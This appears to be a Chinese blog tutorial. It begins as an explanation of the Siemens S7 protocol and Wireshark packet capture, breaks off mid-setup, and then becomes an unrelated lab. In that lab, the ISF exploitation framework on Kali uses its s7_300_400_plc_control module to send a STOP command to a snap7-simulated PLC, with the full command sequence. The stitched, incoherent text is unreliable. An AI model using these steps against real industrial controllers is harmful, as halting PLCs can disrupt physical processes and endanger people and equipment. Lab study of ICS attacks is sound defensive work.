什么是S7协议?
S7协议是SIEMENS S7系列产品之间通讯使用的标准协议,其优点是通信双方无论是在同一MPI总线上、同一PROFIBUS总线上或同一工业以太网中,都可通过S7协议建立通信连接,使用相同的编程方式进行数据交换而与使用何种总线或网络无关。
西门子S7协议底层原理分析
我们对ModbusRTU协议、ModbusTCP协议、欧姆龙FinsTCP协议、三菱SLMP协议都做了说明:今天我们来分享一下关于西门子S7协议的通信分析。西门子作为一个老牌工控企业,在中国市场拥有很高的市场占有率。如果要说起西门子的通信协议,相信大家多多少少能说出一些,比如MPI、PPI、USS、Profibus、Profinet、S7等,但是西门子在协议的开放性方面还是相对要封闭一些,所以很多协议都是不开放的。在这里,我主要是结合Wireshark抓包工具,跟大家去分享一下,如何是一步一步抓取西门子S7通信协议底层通信报文的,希望通过我一步一步地分析,让大家都能够对西门子S7协议有所了解的同时,也学会基本的抓包操作与报文分析。
环境搭建
1、首先我们要准备要准备一个西门子的PLC,并保证PLC与PC之间的网络连接正常。PS:对于手头没有PLC的小伙伴,可以查看这篇文章:基于S7-PLCSIM Advanced搭建S7通信仿真环境
2、为了抓取到通信的报文,需要实现PC与PLC之间的通信,这里我采用的方式是通过KepServer V6.4来实现,后台关键词
开始试验
1.安装Vmware workstaion和Kali linux等软件,配置虚拟环境。
2.kali中安装工控漏洞利用框架 ISF
(1)在kali终端中使用命令:git clone https://github.com/dark-lbp/isf/
(2)输入cd isf
(3)输入python2 isf.py
(4)这时有可能会报错:缺少nmap模块,方法:A.克隆下载nmap模块的包:git clone GitHub - johanlundberg/python-nmap: Clone of https://bitbucket.org/xael/python-nmap
GitHub - johanlundberg/python-nmap: Clone of https://bitbucket.org/xael/python-nmap
B.进入python-nmap文件夹:cd python-nmap,使用命令python2 setup.py install
C.进入python2中import nmap发现没有报错了,使用exit()退出
D.回到上一级文件夹,继续执行 python2 isf.py命令进行安装
3.使用snap7模拟PLC设备,解压压缩包,打开 \rich-demos\x86_64-win64\bin路径
(1).使用serverdemo.exe模拟PLC设备,用ipconfig查看本机ip,也即物理机IP,填写到serverdemo.exe中
(2)在serverdemo.exe界面先点击start启动server
(3)可以查看到serverdemo.exe下面日志就显示server started
(4) 使用clientdemo.exe模拟主机,clientdemo.exe界面上填写上物理机ip
(5)clientdemo.exe界面上点击connect连接
(6)这时继续查看server的日志,显示client已经added(serverdemo.exe)
4.打开ISF后,输入:
use exploits/plcs/siemens/s7_300_400_plc_control
5.show options
6.set target 物理机IP
7.run
这里显示 stop plc ,同时查看serverdemo.exe模拟器中的输出,可以发现已经停止
STOP——>OK
好了,到这里就结束了。